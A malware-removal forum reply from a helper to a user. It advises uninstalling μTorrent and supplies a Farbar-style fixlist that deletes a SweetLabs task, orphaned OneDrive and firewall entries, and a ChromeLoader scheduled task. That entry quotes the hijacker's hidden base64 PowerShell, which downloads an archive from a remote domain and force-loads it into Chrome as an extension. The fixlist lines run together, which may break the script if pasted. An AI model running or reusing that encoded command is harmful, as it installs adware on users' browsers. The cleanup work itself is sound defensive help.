Hi DominoPunkyHeart
Going over your logs I noticed that you have μTorrent installed.
It is pretty much certain that if you continue to use P2P programs, you will get infected again. I would recommend that you uninstall μTorrent, however that choice is up to you. If you do not wish to remove it, then please DO NOT USE IT DURING OUR MALWARE REMOVAL PROCESS. Directions for removal are here.
Next:
Start::SystemRestore: OnCreateRestorePoint:CloseProcesses:Task: {40DE693C-8CFD-4CAC-8980-2BB8B1532DE4} - System32\Tasks\App Explorer => C:\Users\scott\AppData\Local\Host App Service\Engine\HostAppServiceUpdater.exe [7744560 2021-01-19] (SweetLabs Inc. -> SweetLabs, Inc) <==== ATTENTIONTask: {5FC46DA9-B902-4534-BD56-314763BE61C1} - System32\Tasks\ChromeLoader => cmd /c start /min "" powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E JABlAHgAdABQAGEAdABoACAAPQAgACIAJAAoACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQApAFwAYwBoAHIAbwBtAGUAIgAKACQAYwBvAG4AZgBQAGEAdABoACAAPQAgACIAJABlAHgAdABQAGEAdABoAFwAYwBvAG4AZgAuAGoAcwAiAAoAJABhAHIAYwBoAGkAdgBlAE4AYQBtAGUAIAA9ACAAIgAkACgAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBACkAXABhAHIAYwBoAGkAdgBlAC4AegBpAHAAIgAKACQAdABhAHMAawBOAGEAbQBlACAAPQAgACIAQwBoAHIAbwBtAGUATABvAGEAZABlAHIAIgAKACQAZABvAG0AYQBpAG4AIAA9ACAAIgBiAHIAbwBrAGUAbgBuAGEALgB3AG8AcgBrACIACgAKACQAaQBzAE8AcABlAG4AIAA9ACAAMAAKACQAZABkACAAPQAgADAACgAkAHYAZQByACAAPQAgADAACgAKACgARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAHQAZQByACAAIgBuAGEAbQBlAD0AJwBjAGgAcgBvAG0AZQAuAGUAeABlACcAIgApACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIABDAG8AbQBtAGEAbgBkAEwAaQBuAGUAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAKAAkAaQBmACgAJABfACAALQBNAGEAdABjAGgAIAAiAGwAbwBhAGQALQBlAHgAdABlAG4AcwBpAG8AbgAiACkAewAKAAkACQBiAHIAZQBhAGsACgAJAH0ACgAKAAkAJABpAHMATwBwAGUAbgAgAD0AIAAxAAoAfQAKAAoAaQBmACgAJABpAHMATwBwAGUAbgApAHsACgAKAAkAaQBmACgALQBuAG8AdAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAIgAkAGUAeAB0AFAAYQB0AGgAIgApACkAewAKAAoACQAJAHQAcgB5AHsACgAJAAkACQB3AGcAZQB0ACAAIgBoAHQAdABwAHMAOgAvAC8AJABkAG8AbQBhAGkAbgAvAGEAcgBjAGgAaQB2AGUALgB6AGkAcAAiACAALQBvAHUAdABmAGkAbABlACAAIgAkAGEAcgBjAGgAaQB2AGUATgBhAG0AZQAiAAoACQAJAH0AYwBhAHQAYwBoAHsACgAJAAkACQBiAHIAZQBhAGsACgAJAAkAfQAKAAoACQAJAEUAeABwAGEAbgBkAC0AQQByAGMAaABpAHYAZQAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAIgAkAGEAcgBjAGgAaQB2AGUATgBhAG0AZQAiACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACIAJABlAHgAdABQAGEAdABoACIAIAAtAEYAbwByAGMAZQAKAAkACQBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAATIHAAYQB0AGgAIAAiACQAYQByAGMAaABpAHYAZQBOAGEAbQBlACIAIAAtAEYAbwByAGMAZQAKAAoACQB9AAoACQBlAGwAcwBlAHsACgAKAAkACQB0AHIAeQB7AAoACQAJAAkAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACIAJABjAG8AbgBmAFAAYQB0AGgAIgApAAoACQAJAAkAewAKAAkACQAJAAkAJABjAG8AbgBmACAAPQAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAYwBvAG4AZgBQAGEAdABoAAoACQAJAAkACQAkAGMAbwBuAGYALgBTAHAAbABpAHQAKAAiADsAIgApACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsACgAJAAkACQAJAAkAaQBmACAAKAAkAF8AIAAtAE0AYQB0AGMAaAAgACIAZABkACIAKQAKAAkACQAJAAkACQB7AAoACQAJAAkACQAJAAkAJABkAGQAIAA9ACAAJABfAC4AUwBwAGwAaQB0ACgAJwAiACcAKQBbADEAXQAKAAkACQAJAAkACQB9AGUAbABzAGUAaQBmACAAKAAkAF8AIAAtAE0AYQB0AGMAaAAgACIARQB4AHQAZQBuAHMAaQBvAG4AVgBlAHIAcwBpAG8AbgAiACkACgAJAAkACQAJAAkAewAKAAkACQAJAAkACQAJACQAdgBlAHIAIAA9ACAAJABfAC4AUwBwAGwAaQB0ACgAJwAiACcAKQBbADEAXQAKAAkACQAJAAkACQB9AAoACQAJAAkACQB9AAoACQAJAAkAfQAKAAkACQB9AGMAYQB0AGMAaAB7AH0ACgAKAAkACQBpAGYAIAAoACQAZABkACAALQBhAG4AZAAgACQAdgBlAHIAKQB7AAoACgAKAAkACQAJAHQAcgB5AHsACgAKAAkACQAJAAkAJAB1AG4AIAA9ACAAdwBnAGUAdAAgACIAaAB0AHQAcABzADoALwAvACQAZABvAG0AYQBpAG4ALwB1AG4APwBkAGkAZAA9ACQAZABkACYAdgBlAHIAPQAkAHYAZQByACIACgAKAAkACQAJAAkAaQBmACgAJAB1AG4AIAAtAE0AYQB0AGMAaAAgACIAJABkAGQAIgApAHsACgAJAAkACQAJAAkAVQBuAHIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACIAJAB0AGEAcwBrAE4AYQBtAGUAIgAgAC0AQwBvAG4AZgBpAHIAbQA6ACQAZgBhAGwAcwBlAAoACQAJAAkACQAJAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgABMgcABhAHQAaAAgACIAJABlAHgAdABQAGEAdABoACIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAGMAdQByAHMAZQAKAAkACQAJAAkAfQAKAAoACQAJAAkAfQBjAGEAdABjAGgAewB9AAoACgAJAAkACQB0AHIAeQB7AAoACQAJAAkACQB3AGcAZQB0ACAAIgBoAHQAdABwAHMAOgAvAC8AJABkAG8AbQBhAGkAbgAvAGEAcgBjAGgAaQB2AGUALgB6AGkAcAA/AGQAaQBkAD0AJABkAGQAJgB2AGUAcgA9ACQAdgBlAHIAIgAgAC0AbwB1AHQAZgBpAGwAZQAgACIAJABhAHIAYwBoAGkAdgBlAE4AYQBtAGUAIgAKAAkACQAJAH0ACgAJAAkACQBjAGEAdABjAGgAewB9AAoACgAJAAkACQBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAIgAkAGEAcgBjAGgAaQB2AGUATgBhAG0AZQAiACkAewAKAAkACQAJAAkARQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAiACQAYQByAGMAaABpAHYAZQBOAGEAbQBlACIAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAAIgAkAGUAeAB0AFAAYQB0AGgAIgAgAC0ARgBvAHIAYwBlAAoACQAJAAkACQBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAATIHAAYQB0AGgAIAAiACQAYQByAGMAaABpAHYAZQBOAGEAbQBlACIAIAAtAEYAbwByAGMAZQAKAAkACQAJAH0ACgAKAAkACQB9AAoACgAJAH0ACgAKAAkAdAByAHkAewAKAAkACQBHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIABjAGgAcgBvAG0AZQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4AQwBsAG8AcwBlAE0AYQBpAG4AVwBpAG4AZABvAHcAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9AAoACQAJAHMAdABhAHIAdAAgAGMAaAByAG8AbQBlACAALQAtAGwAbwBhAGQALQBlAHgAdABlAG4AcwBpAG8AbgA9ACIAJABlAHgAdABQAGEAdABoACIALAAgAC0ALQByAGUAcwB0AG8AcgBlAC0AbABhAHMAdAAtAHMAZQBzAHMAaQBvAG4ALAAgAC0ALQBuAG8AZQByAHIAZABpAGEAbABvAGcAcwAsACAALQAtAGQAaQBzAGEAYgBsAGUALQBzAGUAcwBzAGkAbwBuAC0AYwByAGEAcwBoAGUAZAAtAGIAdQBiAGIAbABlAAoACQB9AGMAYQB0AGMAaAB7AH0ACgAKAH0A /c start /min "" powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E JABlAHgAdABQAGEAdABoACAAPQAgACIAJAAoACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQApAFwAYwBoAHIAbwBtAGUAIgAKACQAYwBvAG4AZgBQAGEAdABoACAAPQAgACIAJABlAHgAdABQAGEAdABoAFwAYwBvAG4AZgAuAGoAcwAiAAoAJABhAHIAYwBoAGkAdgBlAE4AYQBtAGUAI (the data entry has 4303 more characters). (No File) <==== ATTENTIONTask: {70FFF1DF-0DBA-4C94-99A9-C0DF052F99D1} - System32\Tasks\Microsoft\Windows\Setup\EOSNotify => C:\WINDOWS\system32\EOSNotify.exe (No File)Task: {A5D5D761-F453-4A1D-A3F8-E215695D3C70} - System32\Tasks\Nvbackend_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe (No File)CustomCLSID: HKU\S-1-5-21-4096549371-2451222336-3956411163-1001_Classes\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E}\InprocServer32 -> C:\Users\scott\AppData\Local\Microsoft\OneDrive\18.192.0920.0015\amd64\FileSyncShell64.dll => No FileCustomCLSID: HKU\S-1-5-21-4096549371-2451222336-3956411163-1001_Classes\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32 -> C:\Users\scott\AppData\Local\Microsoft\OneDrive\18.192.0920.0015\amd64\FileSyncShell64.dll => No FileCustomCLSID: HKU\S-1-5-21-4096549371-2451222336-3956411163-1001_Classes\CLSID\{82CA8DE3-01AD-4CEA-9D75-BE4C51810A9E}\InprocServer32 -> C:\Users\scott\AppData\Local\Microsoft\OneDrive\18.192.0920.0015\amd64\FileSyncShell64.dll => No FileShellIconOverlayIdentifiers: [ OneDrive1] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} =>-> No FileShellIconOverlayIdentifiers: [ OneDrive2] -> {5AB7172C-9C11-405C-8DD5-AF20F3606282} =>-> No FileShellIconOverlayIdentifiers: [ OneDrive3] -> {A78ED123-AB77-406B-9962-2A5D9D2F7F30} =>-> No FileShellIconOverlayIdentifiers: [ OneDrive4] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} =>-> No FileShellIconOverlayIdentifiers: [ OneDrive5] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} =>-> No FileShellIconOverlayIdentifiers: [ OneDrive6] -> {9AA2F32D-362A-42D9-9328-24A483E2CCC3} =>-> No FileShellIconOverlayIdentifiers: [ OneDrive7] -> {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} =>-> No FileShellIconOverlayIdentifiers-x32: [ OneDrive1] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} =>-> No FileShellIconOverlayIdentifiers-x32: [ OneDrive2] -> {5AB7172C-9C11-405C-8DD5-AF20F3606282} =>-> No FileShellIconOverlayIdentifiers-x32: [ OneDrive3] -> {A78ED123-AB77-406B-9962-2A5D9D2F7F30} =>-> No FileShellIconOverlayIdentifiers-x32: [ OneDrive4] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} =>-> No FileShellIconOverlayIdentifiers-x32: [ OneDrive5] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} =>-> No FileShellIconOverlayIdentifiers-x32: [ OneDrive6] -> {9AA2F32D-362A-42D9-9328-24A483E2CCC3} =>-> No FileShellIconOverlayIdentifiers-x32: [ OneDrive7] -> {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} =>-> No FileContextMenuHandlers5: [igfxcui] -> {3AB1675A-CCFF-11D2-8B20-00A0C93CB1F4} =>-> No FileBHO: No Name -> {F91D11A8-8E29-408A-A9ED-D1B4CE29ECDF}' -> No FileBHO-x32: No Name -> {F91D11A8-8E29-408A-A9ED-D1B4CE29ECDF}' -> No FileFirewallRules: [UDP Query User{4B0469CC-C1DB-4073-AE30-18D56FD2983B}E:\simcasino.v15.02.2021\simcasino\simcasino.exe] => (Allow) E:\simcasino.v15.02.2021\simcasino\simcasino.exe => No FileFirewallRules: [TCP Query User{8D26ABB6-5C87-4273-9362-13F86D515553}E:\simcasino.v15.02.2021\simcasino\simcasino.exe] => (Allow) E:\simcasino.v15.02.2021\simcasino\simcasino.exe => No FileFirewallRules: [{2BA8F4F5-08F8-4AA0-AF22-95DF989BBFCB}] => (Allow) E:\Pinball Games\Pinball.Parlor\PP.exe => No FileFirewallRules: [{95002BEA-BA72-4726-90CC-6502BF6225D2}] => (Allow) E:\Pinball Games\Pinball.Parlor\PP.exe => No FileFirewallRules: [{ED631F4E-09FC-4225-BC45-144386BCC66A}] => (Allow) E:\Pinball Games\Pinball.Parlor\PP.exe => No FileFirewallRules: [{35094D17-58A1-432B-AF94-47034D9175E3}] => (Allow) E:\Pinball Games\Pinball.Parlor\PP.exe => No FileFirewallRules: [{6B831CFE-226F-4BC0-8799-C6960ED033BA}] => (Allow) C:\Program Files\BlueStacks\HD-Player.exe => No FileFirewallRules: [UDP Query User{23F24458-48C5-4E43-9A3A-5EB7AA8A6CB2}E:\games\the sims 4 eco lifestyle\game\bin\ts4_x64.exe] => (Allow) E:\games\the sims 4 eco lifestyle\game\bin\ts4_x64.exe => No FileFirewallRules: [TCP Query User{407E0FBD-26EC-4C2D-910E-9D2676EAC39A}E:\games\the sims 4 eco lifestyle\game\bin\ts4_x64.exe] => (Allow) E:\games\the sims 4 eco lifestyle\game\bin\ts4_x64.exe => No FileFirewallRules: [UDP Query User{76093F34-BB7F-4D4F-9C8D-978A39E22122}E:\saints row 3 - game\saints row 3\saintsrowthethird_dx11.exe] => (Allow) E:\saints row 3 - game\saints row 3\saintsrowthethird_dx11.exe => No FileFirewallRules: [TCP Query User{573B1A30-35C8-4FB9-A7C5-15E296CD908E}E:\saints row 3 - game\saints row 3\saintsrowthethird_dx11.exe] => (Allow) E:\saints row 3 - game\saints row 3\saintsrowthethird_dx11.exe => No FileFirewallRules: [UDP Query User{E36F3718-5ABA-4F09-9A84-622B97661E9A}E:\saints row 2 - game\saints row 2\sr2_pc.exe] => (Allow) E:\saints row 2 - game\saints row 2\sr2_pc.exe => No FileFirewallRules: [TCP Query User{492D992A-B834-49D1-A22F-B047C113916F}E:\saints row 2 - game\saints row 2\sr2_pc.exe] => (Allow) E:\saints row 2 - game\saints row 2\sr2_pc.exe => No FileFirewallRules: [UDP Query User{075CE593-D950-425E-83C3-C80B941C0542}E:\jump force\jump force\jump_force\binaries\win64\jump_force-win64-shipping.exe] => (Allow) E:\jump force\jump force\jump_force\binaries\win64\jump_force-win64-shipping.exe => No FileFirewallRules: [TCP Query User{65119092-D215-4C52-A477-96859EE6834B}E:\jump force\jump force\jump_force\binaries\win64\jump_force-win64-shipping.exe] => (Allow) E:\jump force\jump force\jump_force\binaries\win64\jump_force-win64-shipping.exe => No FileFirewallRules: [UDP Query User{225B6674-4EF9-452A-A013-DB1632F8FF70}E:\games\the sims 4 discover university\game\bin\ts4_x64.exe] => (Allow) E:\games\the sims 4 discover university\game\bin\ts4_x64.exe => No FileFirewallRules: [TCP Query User{5AEA2B36-DBE7-4F8B-BCAB-FE6119D1A79D}E:\games\the sims 4 discover university\game\bin\ts4_x64.exe] => (Allow) E:\games\the sims 4 discover university\game\bin\ts4_x64.exe => No FileFirewallRules: [UDP Query User{26A3908F-600E-4728-B212-033DFFE88CC4}E:\the sims 4 island living\game\bin\ts4_x64.exe] => (Allow) E:\the sims 4 island living\game\bin\ts4_x64.exe => No FileFirewallRules: [TCP Query User{24BAE737-62B0-4D31-9DFB-F2D08C329463}E:\the sims 4 island living\game\bin\ts4_x64.exe] => (Allow) E:\the sims 4 island living\game\bin\ts4_x64.exe => No FileFirewallRules: [{FF4E265D-9BED-41E5-A98B-616CAC76BB72}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe => No FileFirewallRules: [{0A6916B6-01F8-450D-BB7A-B5F7E7E34ABA}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe => No FileFirewallRules: [{DCE649F0-ECD9-4B28-A0A9-2E9D6451C8A6}] => (Allow) C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe => No FileFirewallRules: [{57DC1CE6-9422-4664-A900-60824715780C}] => (Allow) C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe => No FileFirewallRules: [{3A7CE6AA-F28D-41D0-819A-4506962FE6E2}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamNetworkService.exe => No FileFirewallRules: [{9535E231-B162-4767-981B-F90D5B094171}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamNetworkService.exe => No FileFirewallRules: [{0CE0CD08-704E-41D1-A721-C8E922776127}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamUserAgent.exe => No FileFirewallRules: [{7D1E8511-C6C1-43E5-A8C4-A297ECAD4FB1}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe => No FileFirewallRules: [{64C15539-1AFB-493A-9AFD-6B05B945A4E7}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe => No FileFirewallRules: [{D0BB3EC2-1E52-4745-A8CB-8F37783CFA27}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe => No FileFirewallRules: [{5FCFC011-1ACC-4063-B31A-D65F2CADC780}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe => No FileFirewallRules: [{35D66A13-CE26-4559-A502-BEFAB94B81A6}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Yu-Gi-Oh! Duel Links\dlpc.exe => No FileFirewallRules: [{FD01972E-0CC5-407F-8BB2-519B023DF505}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Yu-Gi-Oh! Duel Links\dlpc.exe => No FileFirewallRules: [TCP Query User{926015D9-E9F3-4E44-A911-C2735AE11664}E:\samurai shodown\samuraishodown\samuraishodown\binaries\win64\samuraishodown-win64-shipping.exe] => (Allow) E:\samurai shodown\samuraishodown\samuraishodown\binaries\win64\samuraishodown-win64-shipping.exe => No FileFirewallRules: [UDP Query User{D67483AB-D877-4026-BCEC-DF697099F3CA}E:\samurai shodown\samuraishodown\samuraishodown\binaries\win64\samuraishodown-win64-shipping.exe] => (Allow) E:\samurai shodown\samuraishodown\samuraishodown\binaries\win64\samuraishodown-win64-shipping.exe => No FileFirewallRules: [{29971094-37B5-4F40-A64B-52D746E081E4}] => (Allow) D:\zmodeler3\ZModeler3.exe => No FileFirewallRules: [{28B544F8-E35A-4F03-A038-CF6E0D8EED8D}] => (Allow) D:\zmodeler3\ZModeler3.exe => No FileFirewallRules: [{EFBD647B-1FD7-4E19-A19A-1A411FCC3411}] => (Allow) D:\zmodeler3\ZModeler3.exe => No FileFirewallRules: [{BFF68BE2-D729-40F6-9A9F-1CF752D53A44}] => (Allow) D:\zmodeler3\ZModeler3.exe => No FileEnd::Next:
In summary I will need from you:
Let me know if you have any questions.
polskamachina
